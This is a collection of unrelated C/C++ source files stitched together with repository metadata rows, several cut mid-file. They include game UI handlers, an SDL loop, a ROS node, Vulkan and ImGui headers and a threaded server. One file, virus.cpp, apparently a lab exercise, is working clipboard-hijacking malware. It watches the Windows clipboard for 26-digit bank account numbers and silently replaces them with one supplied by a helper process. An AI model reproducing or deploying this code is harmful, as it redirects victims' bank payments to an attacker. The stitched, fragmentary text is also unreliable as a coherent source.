//如果没有选中英雄图标,则忽略本次触摸,不在执行后续操作
return false;
}
//选中后缩小精灵
_heroIco[_selectTag]->setScale(0.8f);
_nameLabel[_selectTag]->setScale(0.8f);
//设置英雄图标和名字的z顺序,防止被遮挡
_heroIco[_selectTag]->setLocalZOrder(select_z_order);
_nameLabel[_selectTag]->setLocalZOrder(select_z_order);
return true;
}
void TeamLayer::onTouchMoved(cocos2d::Touch * touch, cocos2d::Event * event)
{
Point pos = touch->getLocation();
//移动英雄图标和英雄名字
_heroIco[_selectTag]->setPosition(pos);
_nameLabel[_selectTag]->setPosition(pos - distanceNameToIco);
}
void TeamLayer::onTouchEnded(cocos2d::Touch * touch, cocos2d::Event * event)
{
Point pos = touch->getLocation();
float distance = pos.distance(touch->getStartLocation());
//如果移动的距离小于3.0f则忽略移动,认为是点击事件
if (distance > 3.0f)
{
//更换英雄位置
int endTag = getHeroIcoisContainPoint(pos);
if (endTag < 0)
{
//移动结束,还原大小
_heroIco[_selectTag]->setScale(1.0f);
_nameLabel[_selectTag]->setScale(1.0f);
//拖拽结束的位置非法,放回原来的位置
_heroIco[_selectTag]->setPosition(HeroIcoPos[_selectTag]);
_nameLabel[_selectTag]->setPosition(HeroNamePos[_selectTag]);
}
else
{
//更换位置成功,将托拽的英雄图标设置到新的位置
_heroIco[_selectTag]->setPosition(HeroIcoPos[endTag]);
_nameLabel[_selectTag]->setPosition(HeroNamePos[endTag]);
//将结束位置的英雄放到托拽英雄的原始位置
_heroIco[endTag]->setPosition(HeroIcoPos[_selectTag]);
_nameLabel[endTag]->setPosition(HeroNamePos[_selectTag]);
//移动结束,还原大小
_heroIco[_selectTag]->setScale(1.0f);
_nameLabel[_selectTag]->setScale(1.0f);
//交换精灵的指针引用
auto sp = _heroIco[_selectTag];
_heroIco[_selectTag] = _heroIco[endTag];
_heroIco[endTag] = sp;
//交换名字的指针引用
auto lb = _nameLabel[_selectTag];
_nameLabel[_selectTag] = _nameLabel[endTag];
_nameLabel[endTag] = lb;
//更换英雄的标签
_heroIco[_selectTag]->setTag(_selectTag);
_heroIco[endTag]->setTag(endTag);
//交换出战数组里面的位置
auto battleArray = GameData::getInstance()->getBattleHeroArray();
int id = battleArray[_selectTag];
battleArray[_selectTag] = battleArray[endTag];
battleArray[endTag] = id;
}
}
else
{
//播放点击音效
AudioManager::getInstance()->playClickEffect();
//更换英雄,第一步是将移动过的英雄复位
_heroIco[_selectTag]->setPosition(HeroIcoPos[_selectTag]);
_nameLabel[_selectTag]->setPosition(HeroNamePos[_selectTag]);
//移动结束,还原大小
_heroIco[_selectTag]->setScale(1.0f);
_nameLabel[_selectTag]->setScale(1.0f);
//创建英雄显示列表层
_displayLayer = DisplayLayer::create();
_displayLayer->setDisplayType(OT_HERO);
_displayLayer->setBtnTexture(btnBattleHero1, btnBattleHero2);
int selectTag = _selectTag;
_displayLayer->setBtnCallBack([&, selectTag](Ref* pSender) {
auto btn = dynamic_cast<Button*>(pSender);
int tag = btn->getTag();
auto data = GameData::getInstance();
//取得选中英雄的Id
int id = _displayLayer->getObjectIdByIndex(tag);
auto item = _displayLayer->getObjectItemByIndex(tag);
if (data->isBattleHero(id))
{
//如果当前只有一个英雄,则不允许下阵。(需要保证至少有一个英雄上阵)
if (data->getBattleHeroNum() < 2)
{
//提示下阵
DialogManager::getInstance()->showTips(I18N::getInstance()->getStringByKey(atleastOneHero), Color4B::RED);
}
else
{
//英雄已经上阵,所以现在是下阵
data->unbattleHero(id);
//将下阵的按钮换换成上阵按钮
item->setBtnTexture(btnBattleHero1, btnBattleHero2);
//提示下阵
DialogManager::getInstance()->showTips(I18N::getInstance()->getStringByKey(battleSuc), Color4B::GREEN);
//更新数据
updateData();
//关闭列表框
_displayLayer->endAnimation();
}
}
else
{
//英雄没有上阵,所以现在是上阵
int preId = data->getBattleHeroId(selectTag);
if (preId != none)
{
//当前位置有英雄先下阵
data->unbattleHero(preId);
}
data->setBattleHero(selectTag, id);
//将上阵的按钮换换成下阵按钮
item->setBtnTexture(btnUnbattleHero1, btnUnbattleHero2);
//提示上阵
DialogManager::getInstance()->showTips(I18N::getInstance()->getStringByKey(unbattleSuc), Color4B::GREEN);
//更新数据
updateData();
//关闭列表框
_displayLayer->endAnimation();
}
});
addChild(_displayLayer);
setUnBattleBtn();
}
//移动完毕,设置英雄图标和名字的z顺序为默认值
_heroIco[_selectTag]->setLocalZOrder(default_z_order);
_nameLabel[_selectTag]->setLocalZOrder(default_z_order);
//取消选中项
_selectTag = none;
} |
04f9fc60b79c8d08a7af2c2766789e60b2dc2a2b | 5c8995197dc08c4f35ded60192014149816b433b | /graphics/Display.cpp | 4d79162246f27a655d35144b43ce61edc07e95f5 | [] | no_license | kakoijohn/Lunar_Lander | 6076170a02a975303b143920738393356a8fb907 | 5336e0445472593ec429e9059d1d3ce73d897673 | refs/heads/master | 2021-01-10T09:37:51.188751 | 2016-03-14T02:25:07 | 2016-03-14T02:25:07 | 52,565,310 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,129 | cpp | Display.cpp | //
// Display.cpp
// RPGGameEngine
//
// Created by John Damits on 8/15/14.
// Copyright (c) 2014 Squirrely Brace. All rights reserved.
//
#include "Display.h"
bool Display::remainingEvents;
Display::Display(int width, int height) {
FPS = 60;
ticksPerFrame = 1000 / FPS;
createWindow(width, height);
}
//create window
void Display::createWindow(int width, int height) {
//initialize SDL
if (SDL_Init(SDL_INIT_VIDEO | SDL_INIT_JOYSTICK) < 0)
fprintf(stderr, "Unable to initialize SDL: %s\n", SDL_GetError());
SDL_LogSetAllPriority(SDL_LOG_PRIORITY_VERBOSE);
//create window
SDL_Window *window = SDL_CreateWindow("Lunar Lander", 4, 4, width, height, SDL_WINDOW_SHOWN);
if (window == 0)
SDL_Quit();
//event handlers
// SDL_AddEventWatch(EventLog::EventFilter, nullptr);
InputEvent::loadInputContext("data/configuration/key_bindings.json");
SDL_Event event;
//Renderer
std::unique_ptr<Render> render = std::unique_ptr<Render>(new Render());
render->init(window);
//FPS
Uint32 fpsTimer = SDL_GetTicks();
//Global Clock
Clock::start();
//Joysticks
SDL_Joystick* gameController = nullptr;
if (SDL_NumJoysticks() > 0)
gameController = SDL_JoystickOpen(0);
//display loop
bool done = false;
while (!done) {
fpsTimer = SDL_GetTicks();
SDL_PumpEvents();
while (SDL_PollEvent(&event)) {
InputEvent::EventFilter(&event);
if (event.type == SDL_QUIT) {
done = true;
break;
}
}
//Update Display
render->updateDisplay();
fpsTimer = SDL_GetTicks() - fpsTimer;
if (fpsTimer < ticksPerFrame)
SDL_Delay(ticksPerFrame - fpsTimer);
}
render->freeResources();
SDL_JoystickClose(gameController);
gameController = nullptr;
//close window and clean up
SDL_DestroyWindow(window);
SDL_Quit();
}
int Display::setFPS(int FPS) {
if (FPS <= 0)
return -1;
this->FPS = FPS;
ticksPerFrame = 1000 / FPS;
return 0;
}
|
909a3da0b40bf986603611553a69c1583385215e | a48df182058e3bdd0d45ed9374b464cdf385e6b9 | /Creating Dual-Version Apps for Win95/Code/SAMPDLL.CPP | 30896ce82482b2ca9195dd439e897a03d43c712b | [] | no_license | tjotala/Articles | 173e552110e623690493e86efde7b79e5a490b7f | 4b1be4fe283a0b0c3c48d931d42dabb89041f491 | refs/heads/main | 2021-07-06T05:16:55.420385 | 2016-05-15T17:11:52 | 2016-05-15T17:11:52 | 58,873,679 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 458 | cpp | SAMPDLL.CPP | #include <windows.h>
#include "ewv.h"
HINSTANCE g_hInstance;
int CALLBACK LibMain(HINSTANCE hInst, WORD /*wDataSeg*/,
WORD /*cbHeap*/, LPSTR /*pszCmdLine*/)
{
g_hInstance = hInst;
if (IsWin95())
SetModuleExpWinVer(g_hInstance, 0x0400);
// do something else...
return (1);
}
int CALLBACK WEP(int /*fExitType*/)
{
// do something else...
if (IsWin95())
SetModuleExpWinVer(g_hInstance, 0x030a);
return (1);
}
|
151d0fa7ef1a40a6d739741a1829dbd74eab507b | a563657a56c71c293fe1ec2255a119cec0da9982 | /cpp/code.cpp | aa06a49439b10a2d0b5b91ebb5bc77f1eb029765 | [] | no_license | rbrb0014/KIM_GYUJIN_base_files | c8a4cc5614bf7238cb3af750d4395689a0acba61 | 4f8f7b2cde0905ccd8f1ad1d7222b6d00b012efe | refs/heads/master | 2023-09-03T18:42:10.783839 | 2023-08-08T17:31:36 | 2023-08-08T17:31:36 | 205,499,165 | 0 | 0 | null | 2023-03-15T07:59:13 | 2019-08-31T05:18:14 | Jupyter Notebook | UTF-8 | C++ | false | false | 456 | cpp | code.cpp | #include <stdio.h>
#include <vector>
#define INF 1000000
using namespace std;
vector<vector<int>> adj;
int main()
{
int n, in1, in2;
printf("how many nodes there? : ");
scanf("%d", n);
adj.resize(n);
printf("write the edge like n m. if finished, input 0.\n");
for (int i = 0; i < n; i++)
{
printf("%d", scanf("%d %d", in1, in2));
}
}
// ctrl+shift+B gcc_compile build
// ctrl+P task execute_c execute |
7790042e9d7e0640a9a456455a4c00aed86e9790 | f3397365f6d031ea0ed1b9d6993eaad389073624 | /src/turtlebot3_obstacle.cpp | 9b47bf27e17a073331fdfea3aa39a0efba2e58f3 | [] | no_license | mtt5/turtlebot3_example_cpp | c29757273c07cd68f847deea20fa189fc7dde283 | ca63dcd432199fbfd60110cac6e644ab1b950a88 | refs/heads/master | 2020-05-31T18:50:39.732749 | 2019-06-05T18:25:22 | 2019-06-05T18:25:22 | 190,442,837 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,023 | cpp | turtlebot3_obstacle.cpp | #include <ros/ros.h>
#include <math.h>
#include <geometry_msgs/Twist.h>
#include <sensor_msgs/LaserScan.h>
#include <vector>
#include <algorithm>
class Obstacle{
public:
Obstacle(){ROS_ASSERT(init());}
bool init(){
cmd_pub_ = nh_.advertise<geometry_msgs::Twist>("cmd_vel",5);
turtlebot3_moving = true;
return true;
}
void run(){
while(ros::ok()){
std::vector<float> lidar_distance = get_scan();
//ROS_INFO("%f",lidar_distance[0]);
float min_distance = *min_element(lidar_distance.begin(),lidar_distance.end());
//int min_index = std::min_element(lidar_distance.begin(),lidar_distance.end())
// -lidar_distance.end();
if(min_distance < SAFE_STOP_DISTANCE){
if(turtlebot3_moving){
command_.linear.x = 0.0;
command_.angular.z = 0.0;
cmd_pub_.publish(command_);
turtlebot3_moving = false;
ROS_INFO("stop!");
}
}
else{
command_.linear.x = LINEAR_VEL;
command_.angular.z = 0.0;
cmd_pub_.publish(command_);
turtlebot3_moving = true;
ROS_INFO("distance of obstacle is : %f", min_distance);
}
}
}
std::vector<float> get_scan(){
std::vector<float> scan_filter;
boost::shared_ptr<sensor_msgs::LaserScan const> scan =
ros::topic::waitForMessage<sensor_msgs::LaserScan>("scan",nh_);
ROS_INFO("%f",scan->ranges[0]);
int samples = scan->ranges.size();
int samples_view = 1;
if(samples_view>samples){
samples_view = samples;
}
else if(samples_view == 1){
scan_filter.push_back(scan->ranges[0]);
}
else{
int left_index = samples-samples_view/2;
int right_index = samples_view/2;
for(int i = left_index; i<samples; i++){
scan_filter.push_back(scan->ranges[i]);
}
for(int i = 0; i< right_index; ++i){
scan_filter.push_back((scan->ranges[i]));
}
}
for(int i =0;i<samples_view;++i){
if(scan_filter[i] >3.5)
scan_filter[i] = 3.5;
else if(isnanf(scan_filter[i]))
scan_filter[i] = 0.0;
}
return scan_filter;
}
private:
ros::NodeHandle nh_;
ros::Publisher cmd_pub_;
//boost::shared_ptr<sensor_msgs::LaserScan const> scan;
geometry_msgs::Twist command_;
bool turtlebot3_moving = true;
float const LINEAR_VEL = 0.22;
float const STOP_DISTANCE = 0.2;
float const LIDAR_ERROR = 0.05;
float SAFE_STOP_DISTANCE = STOP_DISTANCE + LIDAR_ERROR;
};
int main(int argc, char** argv){
ros::init(argc,argv,"Turtlebot3_obstacle");
Obstacle turtlebot_obstacle;
turtlebot_obstacle.run();
} |
6641fec5b5e914b9b8385013c4950a05a8052904 | 9f4d78761c9d187b8eb049530ce0ec4c2b9b2d78 | /Paradigms/MetaGME/MetaDecorator/MetaDecoratorUtil.cpp | e7392de8c2cd571f7054880c2479bbaf448f74e8 | [] | no_license | ksmyth/GME | d16c196632fbeab426df0857d068809a9b7c4ec9 | 873f0e394cf8f9a8178ffe406e3dd3b1093bf88b | refs/heads/master | 2023-01-25T03:33:59.342181 | 2023-01-23T19:22:37 | 2023-01-23T19:22:37 | 119,058,056 | 0 | 1 | null | 2019-11-26T20:54:31 | 2018-01-26T14:01:52 | C++ | UTF-8 | C++ | false | false | 2,898 | cpp | MetaDecoratorUtil.cpp | //################################################################################################
//
// Meta Decorator Utilities
// MetaDecoratorUtil.cpp
//
//################################################################################################
#include "StdAfx.h"
#include "MetaDecoratorUtil.h"
#include "DecoratorDefs.h"
namespace MetaDecor {
MetaDecoratorUtils metaDecorUtils;
MetaDecoratorUtils& GetDecorUtils()
{
return metaDecorUtils;
}
MetaDecoratorUtils::MetaDecoratorUtils()
{
m_mapShape[META_ATOM_KIND] = CLASS;
m_mapShape[META_ATOMPROXY_KIND] = CLASSPROXY;
m_mapShape[META_MODEL_KIND] = CLASS;
m_mapShape[META_MODELPROXY_KIND] = CLASSPROXY;
m_mapShape[META_REFERENCE_KIND] = CLASS;
m_mapShape[META_REFERENCEPROXY_KIND] = CLASSPROXY;
m_mapShape[META_SET_KIND] = CLASS;
m_mapShape[META_SETPROXY_KIND] = CLASSPROXY;
m_mapShape[META_CONNECTION_KIND] = CLASS;
m_mapShape[META_CONNECTIONPROXY_KIND] = CLASSPROXY;
m_mapShape[META_FCO_KIND] = CLASS;
m_mapShape[META_FCOPROXY_KIND] = CLASSPROXY;
m_mapShape[META_FOLDER_KIND] = CLASS;
m_mapShape[META_FOLDERPROXY_KIND] = CLASSPROXY;
m_mapShape[META_ASPECT_KIND] = CLASS;
m_mapShape[META_ASPECTPROXY_KIND] = CLASSPROXY;
m_mapShape[META_BOOLEANATTR_KIND] = CLASS;
m_mapShape[META_ENUMATTR_KIND] = CLASS;
m_mapShape[META_FIELDATTR_KIND] = CLASS;
m_mapShape[META_CONSTRAINT_KIND] = CONSTRAINT;
m_mapShape[META_CONSTRAINTFUNC_KIND] = CONSTRAINTFUNC;
m_mapShape[META_CONNECTOR_KIND] = CONNECTOR;
m_mapShape[META_EQUIVALENCE_KIND] = EQUIVALENCE;
m_mapShape[META_SAMEFOLDER_KIND] = EQUIVALENCE;
m_mapShape[META_SAMEASPECT_KIND] = EQUIVALENCE;
m_mapShape[META_INHERITANCE_KIND] = INHERITANCE;
m_mapShape[META_IMPINHERITANCE_KIND] = IMPINHERITANCE;
m_mapShape[META_INTINHERITANCE_KIND] = INTINHERITANCE;
m_mapFCOs[META_ATOM_KIND] = true;
m_mapFCOs[META_ATOMPROXY_KIND] = true;
m_mapFCOs[META_MODEL_KIND] = true;
m_mapFCOs[META_MODELPROXY_KIND] = true;
m_mapFCOs[META_REFERENCE_KIND] = true;
m_mapFCOs[META_REFERENCEPROXY_KIND] = true;
m_mapFCOs[META_SET_KIND] = true;
m_mapFCOs[META_SETPROXY_KIND] = true;
m_mapFCOs[META_CONNECTION_KIND] = true;
m_mapFCOs[META_CONNECTIONPROXY_KIND] = true;
m_mapFCOs[META_FCO_KIND] = true;
m_mapFCOs[META_FCOPROXY_KIND] = true;
}
MetaDecoratorUtils::~MetaDecoratorUtils()
{
}
ShapeCode MetaDecoratorUtils::GetShapeCode(const CString& kindName) const
{
std::map<CString,ShapeCode>::const_iterator it = m_mapShape.find(kindName);
return (it == m_mapShape.end()) ? NULLSHAPE : it->second;
}
bool MetaDecoratorUtils::IsFCO(const CString& kindName) const
{
std::map<CString,bool>::const_iterator it = m_mapFCOs.find(kindName);
return (it == m_mapFCOs.end()) ? false : true;
}
}; // namespace MetaDecor |
a36587189a580caad3550dc2943b2858edb3ff58 | 52480dea574033baa0ee98930b508dfa918e867c | /Ch16-E08/src/16-E08.cpp | 8fc976ff2b7ab5303ecd8daa8d4392c5caf81307 | [] | no_license | Vagacoder/acpp6E | 4a98398715f1d3b3755909eef8c5746ffb3eadb8 | bbcb3aaf33f263538927d7d99e8ad21e5dbdf17b | refs/heads/master | 2020-04-17T01:36:03.764042 | 2019-04-16T06:32:59 | 2019-04-16T06:32:59 | 166,098,978 | 7 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,085 | cpp | 16-E08.cpp | /*
* 16-E08.cpp
*
* Created on: Mar 12, 2019
* Author: qhu
*/
#include <iostream>
#include <cstdlib>
using namespace std;
typedef int* ArrayPointer;
template<class T>
void swapValues(T& variable1, T& variable2)
{
T temp;
temp = variable1;
variable1 = variable2;
variable2 = temp;
}
int main() {
ArrayPointer a, b, c;
a = new int[3];
b = new int[3];
int i;
for (i = 0; i < 3; i++) {
a[i] = i;
b[i] = i * 100;
}
c = a;
cout << "a contains: ";
for (i = 0; i < 3; i++)
cout << a[i] << " ";
cout << endl;
cout << "b contains: ";
for (i = 0; i < 3; i++)
cout << b[i] << " ";
cout << endl;
cout << "c contains: ";
for (i = 0; i < 3; i++)
cout << c[i] << " ";
cout << endl;
swapValues(a, b);
b[0] = 42;
cout << "After swapping a and b,\n" << "and changing b:\n";
cout << "a contains: ";
for (i = 0; i < 3; i++)
cout << a[i] << " ";
cout << endl;
cout << "b contains: ";
for (i = 0; i < 3; i++)
cout << b[i] << " ";
cout << endl;
cout << "c contains: ";
for (i = 0; i < 3; i++)
cout << c[i] << " ";
cout << endl;
}
|
9c480682d03bd506dd91d9d670a38925b65f665d | 3f2609e29c50282595613609cd1eb21569daf451 | /editor/editor_core/gui/gui.h | d7e5cf7a4c6b2e654048232bdde272eed6b2d096 | [
"BSD-2-Clause"
] | permissive | hoelzl/EtherealEngine | d7a8037d031ac02340315cc50e706f44d7b4e339 | 667897e098e8582116b81532694200c5a675b70c | refs/heads/master | 2021-01-13T13:06:53.700169 | 2018-02-21T08:31:54 | 2018-02-21T08:31:54 | 78,643,773 | 0 | 0 | null | 2017-01-11T13:55:16 | 2017-01-11T13:55:16 | null | UTF-8 | C++ | false | false | 1,888 | h | gui.h | #pragma once
#include "imgui/imgui.h"
#define IMGUI_DEFINE_MATH_OPERATORS
#include "embedded/icons_font_awesome.h"
#include "imgui/imgui_internal.h"
#include "imgui_user/imgui_tabs.h"
#include "imgui_user/imgui_user.h"
#include "imguizmo/imguizmo.h"
#include <memory>
namespace gui
{
using namespace ImGui;
void CleanupTextures();
// Helper function for passing Texture to ImGui::Image.
void Image(std::shared_ptr<void> texture, bool is_rt, bool is_origin_bl, const ImVec2& _size,
const ImVec2& _uv0 = ImVec2(0.0f, 0.0f), const ImVec2& _uv1 = ImVec2(1.0f, 1.0f),
const ImVec4& _tintCol = ImVec4(1.0f, 1.0f, 1.0f, 1.0f),
const ImVec4& _borderCol = ImVec4(0.0f, 0.0f, 0.0f, 0.0f));
// Helper function for passing Texture to ImGui::ImageButton.
bool ImageButton(std::shared_ptr<void> texture, bool is_rt, bool is_origin_bl, const ImVec2& _size,
const ImVec2& _uv0 = ImVec2(0.0f, 0.0f), const ImVec2& _uv1 = ImVec2(1.0f, 1.0f),
int _framePadding = -1, const ImVec4& _bgCol = ImVec4(0.0f, 0.0f, 0.0f, 0.0f),
const ImVec4& _tintCol = ImVec4(1.0f, 1.0f, 1.0f, 1.0f));
bool ImageButtonEx(std::shared_ptr<void> texture, const ImVec2& size, const char* tooltip = nullptr,
bool selected = false, bool enabled = true);
void ImageWithAspect(std::shared_ptr<void> texture, bool is_rt, bool is_origin_bl, const ImVec2& texture_size,
const ImVec2& size, const ImVec2& _uv0 = ImVec2(0, 0), const ImVec2& _uv1 = ImVec2(1, 1),
const ImVec4& tint_col = ImVec4(1, 1, 1, 1),
const ImVec4& border_col = ImVec4(0, 0, 0, 0));
int ImageButtonWithAspectAndLabel(std::shared_ptr<void> texture, bool is_rt, bool is_origin_bl,
const ImVec2& texture_size, const ImVec2& size, const ImVec2& uv0,
const ImVec2& uv1, bool selected, bool* edit_label, const char* label,
char* buf, size_t buf_size, ImGuiInputTextFlags flags = 0);
}
|
a0c71f7e9acb5b13c26b3c5a0bff728f242513a0 | 6887f06d8ebad31a58efcca4d265d623e48c60ed | /include/graphics/prezPass.h | 5459d9c5b43d578f11252da25962079d018e1ede | [
"MIT"
] | permissive | jinjintang/SaturnRender | d072b5be65f5dfdcb6b45922ccd51dfdf3b3826e | c6ec7ee39ef14749b09be4ae47f76613c71533cf | refs/heads/master | 2022-04-01T21:57:54.760038 | 2020-01-14T16:50:49 | 2020-01-14T16:50:49 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 845 | h | prezPass.h | #pragma once
#include "graphics/basePass.h"
class PrezPass :public BasePass
{
public:
PrezPass(vks::VulkanDevice * vulkanDevice);
~PrezPass();
void createRenderPass(uint32_t width, uint32_t height);
void createFrameBuffer();
void createDescriptorsLayouts();
void createPipeline(VkPipelineVertexInputStateCreateInfo &vertexInputState);
void createUniformBuffers(VkQueue queue, glm::mat4 &mvp);
void wirteDescriptorSets(VkDescriptorPool &descriptorPool);
void updateUniformBufferMatrices(glm::mat4 &mvp);
void buildCommandBuffer(VkCommandBuffer& cmdBuffer, VkBuffer vertexBuffer, VkBuffer indexBuffer, uint32_t indexCount);
struct PrezRtFrameBuffer : public FrameBuffer {
FrameBufferAttachment prezRtAttachment;
} prezRtFrameBuffer;
struct UBOParams {
glm::mat4 mvp;
} uboParams;
vks::Buffer uniformBuffers;
private:
}; |
028368af52f50721b2c456d6b489f1dd54bf7a8e | 4f463035b44ec584ea7c83e67e949fd6f6274c84 | /virus.cpp | adb2342149064f22a86ffd41624f5876c28ef870 | [
"Apache-2.0"
] | permissive | Tepirek/PR_Lab_5-6 | ef971afb9f9b57019001bf7c7361003eae57c3a6 | be8d0adcdf26c94650bda68d9afbf560471900c0 | refs/heads/main | 2023-04-11T08:23:24.969561 | 2021-04-19T11:38:25 | 2021-04-19T11:38:25 | 359,436,196 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 5,303 | cpp | virus.cpp | #ifndef UNICODE
#define UNICODE
#endif
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
static HWND hwndNxtVwr;
HWND hwnd;
char* accountNumber;
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
bool checkAccountNumber(char*);
void replaceAccountNumber();
void handleClipboard();
int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow) {
// Register the window class.
const wchar_t CLASS_NAME[] = L"SampleWindowClass";
WNDCLASS wc = { };
wc.lpfnWndProc = WindowProc;
wc.hInstance = hInstance;
wc.lpszClassName = CLASS_NAME;
RegisterClass(&wc);
// Create the window.
hwnd = CreateWindowEx(
0, // Optional window styles.
CLASS_NAME, // Window class
L"Malicious program", // Window text
WS_OVERLAPPEDWINDOW, // Window style
// Size and position
CW_USEDEFAULT, CW_USEDEFAULT, 300, 100,
NULL, // Parent window
NULL, // Menu
hInstance, // Instance handle
NULL // Additional application data
);
if (hwnd == NULL) {
return 0;
}
ShowWindow(hwnd, nCmdShow);
accountNumber = (char*)malloc(sizeof(char) * 26);
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// Start the child process.
if (!CreateProcess(
L"C:\\Client.exe", // No module name (use command line)
NULL, // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
0, // No creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi) // Pointer to PROCESS_INFORMATION structure
)
{
return -1;
}
// Run the message loop.
MSG msg = { };
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// Wait until child process exits.
WaitForSingleObject(pi.hProcess, INFINITE);
// Close process and thread handles.
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
switch (uMsg) {
case WM_COPYDATA: {
PCOPYDATASTRUCT pCDS = (PCOPYDATASTRUCT)lParam;
strcpy(accountNumber, (char*)pCDS->lpData);
} return 0;
case WM_CREATE: {
hwndNxtVwr = SetClipboardViewer(hwnd);
} return 0;
case WM_DESTROY: {
ChangeClipboardChain(hwnd, hwndNxtVwr);
PostQuitMessage(0);
} return 0;
case WM_DRAWCLIPBOARD: {
if (hwndNxtVwr != NULL) {
SendMessage(hwndNxtVwr, uMsg, wParam, lParam);
}
handleClipboard();
InvalidateRect(hwnd, NULL, TRUE);
return 0;
} return 0;
case WM_PAINT: {
PAINTSTRUCT ps;
HDC hdc = BeginPaint(hwnd, &ps);
FillRect(hdc, &ps.rcPaint, (HBRUSH)(COLOR_WINDOW + 1));
EndPaint(hwnd, &ps);
} return 0;
case WM_CHANGECBCHAIN: {
if (wParam == (WORD)hwndNxtVwr) {
hwndNxtVwr = (HWND)LOWORD(lParam); /* handle nowego nastepnika */
}
else {
if (hwndNxtVwr != NULL) { /* musze powiadomic mojego nastepnika */
SendMessage(hwndNxtVwr, uMsg, wParam, lParam);
}
}
} return 0;
case WM_CLOSE: {
DestroyWindow(hwnd);
} return 0;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
bool checkAccountNumber(char* accountNumber) {
int length = strlen(accountNumber);
if (length != 26) return false;
for (int i = 0; i < strlen(accountNumber); i++) {
if (accountNumber[i] < '0' || accountNumber[i] > '9') return false;
}
return true;
}
void replaceAccountNumber() {
LPSTR pStr = accountNumber;
SIZE_T wLen = strlen(accountNumber);
HANDLE hGlMem = GlobalAlloc(GHND, (DWORD) wLen + 1);
HANDLE lpGlMem = GlobalLock(hGlMem);
memcpy(lpGlMem, pStr, wLen + 1);
GlobalUnlock(hGlMem);
OpenClipboard(hwnd);
EmptyClipboard();
SetClipboardData(CF_TEXT, hGlMem);
CloseClipboard();
}
void handleClipboard() {
if (IsClipboardFormatAvailable(CF_TEXT)) {
OpenClipboard(hwnd);
HANDLE hCbMem = GetClipboardData(CF_TEXT);
HANDLE hProgMem = GlobalAlloc(GHND, GlobalSize(hCbMem));
if (hProgMem != NULL) {
LPSTR lpCbMem = (LPSTR) GlobalLock(hCbMem);
LPSTR lpProgMem = (LPSTR) GlobalLock(hProgMem);
strcpy(lpProgMem, lpCbMem);
GlobalUnlock(hCbMem);
GlobalUnlock(hProgMem);
CloseClipboard();
if (checkAccountNumber((char*)lpProgMem)) {
replaceAccountNumber();
}
}
}
}
|
437b9c99c0e2e2fc4eab6aeed18eba2c5e71cd70 | 5d4f8f0ac5514f576c9c92259291babc46ac70d0 | /classes/serverPreThreaded.cpp | 5bca8bdb8f1ee68e09efbcd0261b00ceea865d88 | [] | no_license | will7007/AdBed_Project | dabd72094f53afe3c870ba3072162ebf46a261b4 | 527c949e244f01e5d9a4a63343988b69a96dce8e | refs/heads/master | 2023-02-21T18:08:42.330815 | 2021-01-28T15:53:49 | 2021-01-28T15:53:49 | 330,767,803 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 5,597 | cpp | serverPreThreaded.cpp | #include "server.h"
serverPreThreaded::serverPreThreaded(bool prioritizeMainThreadArg) {
prioritizeMainThread = prioritizeMainThreadArg;
}
void serverPreThreaded::listen() {
struct sockaddr_in clientaddr;
socklen_t clientlen = sizeof(clientaddr);
printf("Running producer/consumer pre-threaded server\n");
fileDescriptorListen = Open_listenfd(port);
threadID = new pthread_t[maxThreads];
pthread_attr_t threadAttr;
pthread_mutex_init(&queueMutex, NULL);
pthread_cond_init (&hungry, NULL);
pthread_cond_init (&justAte, NULL);
if(prioritizeMainThread) {
struct sched_param my_param;
my_param.sched_priority = sched_get_priority_max(SCHED_RR);
pthread_setschedparam(pthread_self(), SCHED_RR, &my_param);
printf("Main thread priority assigned to %d\n",getThreadPriority());
pthread_attr_init(&threadAttr);
pthread_attr_setinheritsched(&threadAttr, PTHREAD_EXPLICIT_SCHED);
pthread_attr_setschedpolicy(&threadAttr, SCHED_RR);
if(my_param.sched_priority >= 1) { my_param.sched_priority -= 1;}
pthread_attr_setschedparam(&threadAttr, &my_param);
for(int threads = 0; threads < maxThreads; threads++) {
pthread_create(&threadID[threads], &threadAttr, &transactionConsumer, static_cast<void *>(this));
printf("Thead %d created\n", threads);
}
} else {
for(int threads = 0; threads < maxThreads; threads++) {
pthread_create(&threadID[threads], NULL, &transactionConsumer, static_cast<void *>(this));
printf("Thead %d created\n", threads);
}
}
while(running) {
int *fileDescriptor = new int;
*fileDescriptor = Accept(fileDescriptorListen, (SA *)&clientaddr, &clientlen);
if(running) {
displayConnectionInfo(&clientaddr);
pthread_mutex_lock(&queueMutex);
if(connectionQueue.size() >= queueLimit) {
//sometimes seems to not show up when queue is full, likely because of unluckiness aquiring mutex
printf(FYEL("The queue is full (with %lu file descriptors)\n"), connectionQueue.size());
printf(FYEL("Connection %d will be added once there is room: main thread is waiting for room...\n"), *fileDescriptor);
pthread_cond_wait(&justAte,&queueMutex);
}
connectionQueue.push(fileDescriptor);
printf(FCYN("Connection %d was added to the queue: size is now %lu\n"), *fileDescriptor, connectionQueue.size());
pthread_mutex_unlock(&queueMutex);
pthread_cond_signal(&hungry);
} else {
Close(*fileDescriptor);
break;
}
}
//FIXME this area is never reached: because we have to store file descriptors in our queue as per project specs,
//we can't see the operations (or lack thereof) that the client wants and thus we will be stuck
//waiting to accept the next file descriptor sent after a termination operation (one that will never come).
pthread_cond_signal(&hungry); //ensure everyone woke up
